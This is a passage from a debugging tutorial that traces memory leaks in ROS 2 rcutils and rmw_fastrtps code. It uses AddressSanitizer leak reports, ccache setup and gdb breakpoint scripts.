/opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_shared_cpp/src/rmw_node_info_and_types.cpp:199
        #4 0x7f5275882c4d in rmw_fastrtps_shared_cpp::__rmw_get_topic_names_and_types_by_node(char const*, rmw_node_t const*, rcutils_allocator_t*, char const*, char const*, bool, std::function<LockedObject<TopicCache> const& (CustomParticipantInfo&)>&, rmw_names_and_types_t*) /opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_shared_cpp/src/rmw_node_info_and_types.cpp:349
        #5 0x7f52758830d4 in rmw_fastrtps_shared_cpp::__rmw_get_publisher_names_and_types_by_node(char const*, rmw_node_t const*, rcutils_allocator_t*, char const*, char const*, bool, rmw_names_and_types_t*) /opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_shared_cpp/src/rmw_node_info_and_types.cpp:385
        #6 0x7f52784931eb in rmw_get_publisher_names_and_types_by_node /opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_cpp/src/rmw_node_info_and_types.cpp:53
        #7 0x7f5278758875 in rcl_get_publisher_names_and_types_by_node /opt/ros2_asan_ws/src/ros2/rcl/rcl/src/rcl/graph.c:60
        #8 0x55d37431a0ed in TestGraphFixture__rmw_fastrtps_cpp_test_rcl_get_publisher_names_and_types_by_node_Test::TestBody() /opt/ros2_asan_ws/src/ros2/rcl/rcl/test/rcl/test_graph.cpp:342
        #9 0x55d3743d2215 in void testing::internal::HandleSehExceptionsInMethodIfSupported<testing::Test, void>(testing::Test*, void (testing::Test::*)(), char const*) /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2447
        #10 0x55d3743c4369 in void testing::internal::HandleExceptionsInMethodIfSupported<testing::Test, void>(testing::Test*, void (testing::Test::*)(), char const*) /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2483
        #11 0x55d374370e51 in testing::Test::Run() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2522
        #12 0x55d37437227c in testing::TestInfo::Run() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2703
        #13 0x55d374372e20 in testing::TestCase::Run() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2825
        #14 0x55d37438df31 in testing::internal::UnitTestImpl::RunAllTests() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:5216
        #15 0x55d3743d4cc8 in bool testing::internal::HandleSehExceptionsInMethodIfSupported<testing::internal::UnitTestImpl, bool>(testing::internal::UnitTestImpl*, bool (testing::internal::UnitTestImpl::*)(), char const*) /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2447
        #16 0x55d3743c6632 in bool testing::internal::HandleExceptionsInMethodIfSupported<testing::internal::UnitTestImpl, bool>(testing::internal::UnitTestImpl*, bool (testing::internal::UnitTestImpl::*)(), char const*) /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2483
        #17 0x55d37438acc5 in testing::UnitTest::Run() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:4824
        #18 0x55d37435e214 in RUN_ALL_TESTS() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/include/gtest/gtest.h:2370
        #19 0x55d37435e15a in main /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/src/gtest_main.cc:36
        #20 0x7f527721eb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)

    Direct leak of 8 byte(s) in 1 object(s) allocated from:
        #0 0x7f5278a99d38 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded38)
        #1 0x7f52781e54d6 in __default_zero_allocate /opt/ros2_asan_ws/src/ros2/rcutils/src/allocator.c:56
        #2 0x7f52781f7e77 in rcutils_string_array_init /opt/ros2_asan_ws/src/ros2/rcutils/src/string_array.c:54
        #3 0x7f5277fd6b4a in rmw_names_and_types_init /opt/ros2_asan_ws/src/ros2/rmw/rmw/src/names_and_types.c:66
        #4 0x7f5275880362 in rmw_fastrtps_shared_cpp::__copy_data_to_results(std::map<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::set<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > >, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, std::set<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > > > > > const&, rcutils_allocator_t*, bool, rmw_names_and_types_t*) /opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_shared_cpp/src/rmw_node_info_and_types.cpp:199
        #5 0x7f5275882c4d in rmw_fastrtps_shared_cpp::__rmw_get_topic_names_and_types_by_node(char const*, rmw_node_t const*, rcutils_allocator_t*, char const*, char const*, bool, std::function<LockedObject<TopicCache> const& (CustomParticipantInfo&)>&, rmw_names_and_types_t*) /opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_shared_cpp/src/rmw_node_info_and_types.cpp:349
        #6 0x7f52758830d4 in rmw_fastrtps_shared_cpp::__rmw_get_publisher_names_and_types_by_node(char const*, rmw_node_t const*, rcutils_allocator_t*, char const*, char const*, bool, rmw_names_and_types_t*) /opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_shared_cpp/src/rmw_node_info_and_types.cpp:385
        #7 0x7f52784931eb in rmw_get_publisher_names_and_types_by_node /opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_cpp/src/rmw_node_info_and_types.cpp:53
        #8 0x7f5278758875 in rcl_get_publisher_names_and_types_by_node /opt/ros2_asan_ws/src/ros2/rcl/rcl/src/rcl/graph.c:60
        #9 0x55d37431a0ed in TestGraphFixture__rmw_fastrtps_cpp_test_rcl_get_publisher_names_and_types_by_node_Test::TestBody() /opt/ros2_asan_ws/src/ros2/rcl/rcl/test/rcl/test_graph.cpp:342
        #10 0x55d3743d2215 in void testing::internal::HandleSehExceptionsInMethodIfSupported<testing::Test, void>(testing::Test*, void (testing::Test::*)(), char const*) /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2447
        #11 0x55d3743c4369 in void testing::internal::HandleExceptionsInMethodIfSupported<testing::Test, void>(testing::Test*, void (testing::Test::*)(), char const*) /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2483
        #12 0x55d374370e51 in testing::Test::Run() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2522
        #13 0x55d37437227c in testing::TestInfo::Run() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2703
        #14 0x55d374372e20 in testing::TestCase::Run() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2825
        #15 0x55d37438df31 in testing::internal::UnitTestImpl::RunAllTests() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:5216
        #16 0x55d3743d4cc8 in bool testing::internal::HandleSehExceptionsInMethodIfSupported<testing::internal::UnitTestImpl, bool>(testing::internal::UnitTestImpl*, bool (testing::internal::UnitTestImpl::*)(), char const*) /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2447
        #17 0x55d3743c6632 in bool testing::internal::HandleExceptionsInMethodIfSupported<testing::internal::UnitTestImpl, bool>(testing::internal::UnitTestImpl*, bool (testing::internal::UnitTestImpl::*)(), char const*) /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2483
        #18 0x55d37438acc5 in testing::UnitTest::Run() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:4824
        #19 0x55d37435e214 in RUN_ALL_TESTS() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/include/gtest/gtest.h:2370
        #20 0x55d37435e15a in main /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/src/gtest_main.cc:36
        #21 0x7f527721eb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)

    Indirect leak of 23 byte(s) in 1 object(s) allocated from:
        #0 0x7f5278a99b50 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb50)
        #1 0x7f52781e5465 in __default_allocate /opt/ros2_asan_ws/src/ros2/rcutils/src/allocator.c:35
        #2 0x7f52781f7c2f in rcutils_strndup /opt/ros2_asan_ws/src/ros2/rcutils/src/strdup.c:42
        #3 0x7f52781f7bae in rcutils_strdup /opt/ros2_asan_ws/src/ros2/rcutils/src/strdup.c:33
        #4 0x7f5275880a99 in rmw_fastrtps_shared_cpp::__copy_data_to_results(std::map<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::set<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > >, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, std::set<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > > > > > const&, rcutils_allocator_t*, bool, rmw_names_and_types_t*) /opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_shared_cpp/src/rmw_node_info_and_types.cpp:248
        #5 0x7f5275882c4d in rmw_fastrtps_shared_cpp::__rmw_get_topic_names_and_types_by_node(char const*, rmw_node_t const*, rcutils_allocator_t*, char const*, char const*, bool, std::function<LockedObject<TopicCache> const& (CustomParticipantInfo&)>&, rmw_names_and_types_t*) /opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_shared_cpp/src/rmw_node_info_and_types.cpp:349
        #6 0x7f52758830d4 in rmw_fastrtps_shared_cpp::__rmw_get_publisher_names_and_types_by_node(char const*, rmw_node_t const*, rcutils_allocator_t*, char const*, char const*, bool, rmw_names_and_types_t*) /opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_shared_cpp/src/rmw_node_info_and_types.cpp:385
        #7 0x7f52784931eb in rmw_get_publisher_names_and_types_by_node /opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_cpp/src/rmw_node_info_and_types.cpp:53
        #8 0x7f5278758875 in rcl_get_publisher_names_and_types_by_node /opt/ros2_asan_ws/src/ros2/rcl/rcl/src/rcl/graph.c:60
        #9 0x55d37431a0ed in TestGraphFixture__rmw_fastrtps_cpp_test_rcl_get_publisher_names_and_types_by_node_Test::TestBody() /opt/ros2_asan_ws/src/ros2/rcl/rcl/test/rcl/test_graph.cpp:342
        #10 0x55d3743d2215 in void testing::internal::HandleSehExceptionsInMethodIfSupported<testing::Test, void>(testing::Test*, void (testing::Test::*)(), char const*) /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2447
        #11 0x55d3743c4369 in void testing::internal::HandleExceptionsInMethodIfSupported<testing::Test, void>(testing::Test*, void (testing::Test::*)(), char const*) /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2483
        #12 0x55d374370e51 in testing::Test::Run() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2522
        #13 0x55d37437227c in testing::TestInfo::Run() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2703
        #14 0x55d374372e20 in testing::TestCase::Run() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2825
        #15 0x55d37438df31 in testing::internal::UnitTestImpl::RunAllTests() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:5216
        #16 0x55d3743d4cc8 in bool testing::internal::HandleSehExceptionsInMethodIfSupported<testing::internal::UnitTestImpl, bool>(testing::internal::UnitTestImpl*, bool (testing::internal::UnitTestImpl::*)(), char const*) /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2447
        #17 0x55d3743c6632 in bool testing::internal::HandleExceptionsInMethodIfSupported<testing::internal::UnitTestImpl, bool>(testing::internal::UnitTestImpl*, bool (testing::internal::UnitTestImpl::*)(), char const*) /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2483
        #18 0x55d37438acc5 in testing::UnitTest::Run() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:4824
        #19 0x55d37435e214 in RUN_ALL_TESTS() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/include/gtest/gtest.h:2370
        #20 0x55d37435e15a in main /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/src/gtest_main.cc:36
        #21 0x7f527721eb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)

    Indirect leak of 8 byte(s) in 1 object(s) allocated from:
        #0 0x7f5278a99d38 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded38)
        #1 0x7f52781e54d6 in __default_zero_allocate /opt/ros2_asan_ws/src/ros2/rcutils/src/allocator.c:56
        #2 0x7f52781f7e77 in rcutils_string_array_init /opt/ros2_asan_ws/src/ros2/rcutils/src/string_array.c:54
        #3 0x7f527588077a in rmw_fastrtps_shared_cpp::__copy_data_to_results(std::map<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::set<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > >, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, std::set<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > > > > > const&, rcutils_allocator_t*, bool, rmw_names_and_types_t*) /opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_shared_cpp/src/rmw_node_info_and_types.cpp:238
        #4 0x7f5275882c4d in rmw_fastrtps_shared_cpp::__rmw_get_topic_names_and_types_by_node(char const*, rmw_node_t const*, rcutils_allocator_t*, char const*, char const*, bool, std::function<LockedObject<TopicCache> const& (CustomParticipantInfo&)>&, rmw_names_and_types_t*) /opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_shared_cpp/src/rmw_node_info_and_types.cpp:349
        #5 0x7f52758830d4 in rmw_fastrtps_shared_cpp::__rmw_get_publisher_names_and_types_by_node(char const*, rmw_node_t const*, rcutils_allocator_t*, char const*, char const*, bool, rmw_names_and_types_t*) /opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_shared_cpp/src/rmw_node_info_and_types.cpp:385
        #6 0x7f52784931eb in rmw_get_publisher_names_and_types_by_node /opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_cpp/src/rmw_node_info_and_types.cpp:53
        #7 0x7f5278758875 in rcl_get_publisher_names_and_types_by_node /opt/ros2_asan_ws/src/ros2/rcl/rcl/src/rcl/graph.c:60
        #8 0x55d37431a0ed in TestGraphFixture__rmw_fastrtps_cpp_test_rcl_get_publisher_names_and_types_by_node_Test::TestBody() /opt/ros2_asan_ws/src/ros2/rcl/rcl/test/rcl/test_graph.cpp:342
        #9 0x55d3743d2215 in void testing::internal::HandleSehExceptionsInMethodIfSupported<testing::Test, void>(testing::Test*, void (testing::Test::*)(), char const*) /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2447
        #10 0x55d3743c4369 in void testing::internal::HandleExceptionsInMethodIfSupported<testing::Test, void>(testing::Test*, void (testing::Test::*)(), char const*) /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2483
        #11 0x55d374370e51 in testing::Test::Run() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2522
        #12 0x55d37437227c in testing::TestInfo::Run() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2703
        #13 0x55d374372e20 in testing::TestCase::Run() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2825
        #14 0x55d37438df31 in testing::internal::UnitTestImpl::RunAllTests() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:5216
        #15 0x55d3743d4cc8 in bool testing::internal::HandleSehExceptionsInMethodIfSupported<testing::internal::UnitTestImpl, bool>(testing::internal::UnitTestImpl*, bool (testing::internal::UnitTestImpl::*)(), char const*) /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2447
        #16 0x55d3743c6632 in bool testing::internal::HandleExceptionsInMethodIfSupported<testing::internal::UnitTestImpl, bool>(testing::internal::UnitTestImpl*, bool (testing::internal::UnitTestImpl::*)(), char const*) /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2483
        #17 0x55d37438acc5 in testing::UnitTest::Run() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:4824
        #18 0x55d37435e214 in RUN_ALL_TESTS() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/include/gtest/gtest.h:2370
        #19 0x55d37435e15a in main /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/src/gtest_main.cc:36
        #20 0x7f527721eb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)

    Indirect leak of 8 byte(s) in 1 object(s) allocated from:
        #0 0x7f5278a99b50 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb50)
        #1 0x7f52781e5465 in __default_allocate /opt/ros2_asan_ws/src/ros2/rcutils/src/allocator.c:35
        #2 0x7f52781f7c2f in rcutils_strndup /opt/ros2_asan_ws/src/ros2/rcutils/src/strdup.c:42
        #3 0x7f52781f7bae in rcutils_strdup /opt/ros2_asan_ws/src/ros2/rcutils/src/strdup.c:33
        #4 0x7f5275880638 in rmw_fastrtps_shared_cpp::__copy_data_to_results(std::map<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::set<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > >, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, std::set<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > > > > > const&, rcutils_allocator_t*, bool, rmw_names_and_types_t*) /opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_shared_cpp/src/rmw_node_info_and_types.cpp:226
        #5 0x7f5275882c4d in rmw_fastrtps_shared_cpp::__rmw_get_topic_names_and_types_by_node(char const*, rmw_node_t const*, rcutils_allocator_t*, char const*, char const*, bool, std::function<LockedObject<TopicCache> const& (CustomParticipantInfo&)>&, rmw_names_and_types_t*) /opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_shared_cpp/src/rmw_node_info_and_types.cpp:349
        #6 0x7f52758830d4 in rmw_fastrtps_shared_cpp::__rmw_get_publisher_names_and_types_by_node(char const*, rmw_node_t const*, rcutils_allocator_t*, char const*, char const*, bool, rmw_names_and_types_t*) /opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_shared_cpp/src/rmw_node_info_and_types.cpp:385
        #7 0x7f52784931eb in rmw_get_publisher_names_and_types_by_node /opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_cpp/src/rmw_node_info_and_types.cpp:53
        #8 0x7f5278758875 in rcl_get_publisher_names_and_types_by_node /opt/ros2_asan_ws/src/ros2/rcl/rcl/src/rcl/graph.c:60
        #9 0x55d37431a0ed in TestGraphFixture__rmw_fastrtps_cpp_test_rcl_get_publisher_names_and_types_by_node_Test::TestBody() /opt/ros2_asan_ws/src/ros2/rcl/rcl/test/rcl/test_graph.cpp:342
        #10 0x55d3743d2215 in void testing::internal::HandleSehExceptionsInMethodIfSupported<testing::Test, void>(testing::Test*, void (testing::Test::*)(), char const*) /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2447
        #11 0x55d3743c4369 in void testing::internal::HandleExceptionsInMethodIfSupported<testing::Test, void>(testing::Test*, void (testing::Test::*)(), char const*) /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2483
        #12 0x55d374370e51 in testing::Test::Run() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2522
        #13 0x55d37437227c in testing::TestInfo::Run() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2703
        #14 0x55d374372e20 in testing::TestCase::Run() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2825
        #15 0x55d37438df31 in testing::internal::UnitTestImpl::RunAllTests() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:5216
        #16 0x55d3743d4cc8 in bool testing::internal::HandleSehExceptionsInMethodIfSupported<testing::internal::UnitTestImpl, bool>(testing::internal::UnitTestImpl*, bool (testing::internal::UnitTestImpl::*)(), char const*) /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2447
        #17 0x55d3743c6632 in bool testing::internal::HandleExceptionsInMethodIfSupported<testing::internal::UnitTestImpl, bool>(testing::internal::UnitTestImpl*, bool (testing::internal::UnitTestImpl::*)(), char const*) /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2483
        #18 0x55d37438acc5 in testing::UnitTest::Run() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:4824
        #19 0x55d37435e214 in RUN_ALL_TESTS() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/include/gtest/gtest.h:2370
        #20 0x55d37435e15a in main /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/src/gtest_main.cc:36
        #21 0x7f527721eb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)

    SUMMARY: AddressSanitizer: 103 byte(s) leaked in 5 allocation(s).

    ```

We can clearly see that the two direct leaks are related to /opt/ros2_asan_ws/src/ros2/rcutils/src/allocator.c:56. As pointed out in the first tutorial and according to ASan documentation [8]:

LSan also differentiates between direct and indirect leaks in its output. This gives useful information about which leaks should be prioritized, because fixing the direct leaks is likely to fix the indirect ones as well.

this tells us where to focus first. Direct leaks from this first report are:

```bash
    Direct leak of 56 byte(s) in 1 object(s) allocated from:
        #0 0x7f4eaf189d38 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded38)
        #1 0x7f4eae8d54d6 in __default_zero_allocate /opt/ros2_asan_ws/src/ros2/rcutils/src/allocator.c:56
        #2 0x7f4eae6c6c7e in rmw_names_and_types_init /opt/ros2_asan_ws/src/ros2/rmw/rmw/src/names_and_types.c:72
        ...
    ```

and

```bash
    Direct leak of 8 byte(s) in 1 object(s) allocated from:
        #0 0x7f4eaf189d38 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded38)
        #1 0x7f4eae8d54d6 in __default_zero_allocate /opt/ros2_asan_ws/src/ros2/rcutils/src/allocator.c:56
        #2 0x7f4eae8e7e77 in rcutils_string_array_init /opt/ros2_asan_ws/src/ros2/rcutils/src/string_array.c:54
        ...
    ```

Both correspond to the calloc call at https://github.com/ros2/rcutils/blob/master/src/allocator.c#L56 however with different callers: - https://github.com/ros2/rcutils/blob/master/src/string_array.c#L54 (1) - https://github.com/ros2/rmw/blob/master/rmw/src/names_and_types.c#L72 (2)

At this point, we could go ahead and inspect the part of the code that fails `src/ros2/rcl/rcl/test/rcl/test_graph.cpp:342 however instead, let’s dive a bit into the bug and try to gain more understanding about it deriving it differently.

Let’s grab gdb and jump into it.

Using GDB to understand better the leak

First, let’s get the environment ready for the debugging:

```bash
    ccache -M 20G # increase cache size
    # Add the following to your .bashrc or .zshrc file and restart your terminal:
    export CC=/usr/lib/ccache/gcc
    export CXX=/usr/lib/ccache/g++
    source /opt/ros2_asan_ws/install-asan/setup.bash
    ```

We already know where this memory leak is happening, let’s now try to identify the exact environment and cause of it using gdb. We’ll follow a similar strategy to what’s described at [4]:

• Everytime we enter ‘malloc()’ we will ‘save’ the memory allocation requested size in a variable.
• Everytime we return from ‘malloc()’ we will print the size and the return address from ‘malloc()’.
• Everytime we enter ‘free()’ we will print the ‘pointer’ we are about to free.

Now we use two terminals: - In one we launch the binary test_graph__rmw_fastrtps_cpp - In the other one we’ll be launching gdb as sudo gdb -p $(pgrep test_graph__rmw)

Moreover in the GDB terminal, we’ll be executing the following script [4]:

```bash
    set pagination off
    set breakpoint pending on
    set logging file gdbcmd1.out
    set logging on
    hbreak malloc
    commands
      set $mallocsize = (unsigned long long) $rdi
      continue
    end
    hbreak *(malloc+191)
    commands
      printf "malloc(%lld) = 0x%016llx\n", $mallocsize, $rax
      continue
    end
    hbreak free
    commands
      printf "free(0x%016llx)\n", (unsigned long long) $rdi
      continue
    end
    continue
    ```

This will fail with a message as follows:

```bash
    (gdb) continue
    Continuing.
    Warning:
    Cannot insert hardware breakpoint 1.
    Cannot insert hardware breakpoint 2.
    Could not insert hardware breakpoints:
    You may have requested too many hardware breakpoints/watchpoints.

    Command aborted.
    ```

Note that this script was literally taken from [4] and there’s no real certainty that the malloc+191 offset leads to the point where we can fetch the pointer that points to the allocated portion of memory in the heap. A quick check with gdb points out that the debugger never breaks here.

Moreover, it seems that the way this script is coded, we need to limit the places where we insert hardware breakpoints or simply dig more specifically. We need to dig deeper.

Let’s get a more comfortable environment for debugging (note that depending on what you’re doing with gdb, this can be anying so feel free to remove the ~/.gdbinit file if that’s the case):

```bash
    wget -P ~ git.io/.gdbinit
    ```

Breaking in __default_zero_allocate shows us the information we need to diagnose the leak size:

```bash
    gdb ./test_graph__rmw_fastrtps_cpp
    GNU gdb (Ubuntu 8.1-0ubuntu3) 8.1.0.20180409-git
    Copyright (C) 2018 Free Software Foundation, Inc.
    License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
    This is free software: you are free to change and redistribute it.
    There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
    and "show warranty" for details.
    This GDB was configured as "x86_64-linux-gnu".
    Type "show configuration" for configuration details.
    For bug reporting instructions, please see:
    <http://www.gnu.org/software/gdb/bugs/>.
    Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.
    For help, type "help".
    Type "apropos word" to search for commands related to "word"...
    Reading symbols from ./test_graph__rmw_fastrtps_cpp...done.
    >>> b __default_zero_allocate
    Function "__default_zero_allocate" not defined.
    Make breakpoint pending on future shared library load? (y or [n]) y
    Breakpoint 1 (__default_zero_allocate) pending.
    >>> r
    Starting program: /opt/ros2_asan_ws/build-asan/rcl/test/test_graph__rmw_fastrtps_cpp
    ─── Output/messages ────────────────────────────────────────────────────────────────────
    [Thread debugging using libthread_db enabled]
    Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
    Running main() from /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/src/gtest_main.cc
    [==========] Running 14 tests from 2 test cases.
    [----------] Global test environment set-up.
    [----------] 11 tests from TestGraphFixture__rmw_fastrtps_cpp
    [ RUN      ] TestGraphFixture__rmw_fastrtps_cpp.test_rcl_get_and_destroy_topic_names_and_types
    ─── Assembly ───────────────────────────────────────────────────────────────────────────
    0x00007ffff66444b8 __default_zero_allocate+8  mov    %rdi,-0x8(%rbp)
    0x00007ffff66444bc __default_zero_allocate+12 mov    %rsi,-0x10(%rbp)
    0x00007ffff66444c0 __default_zero_allocate+16 mov    %rdx,-0x18(%rbp)
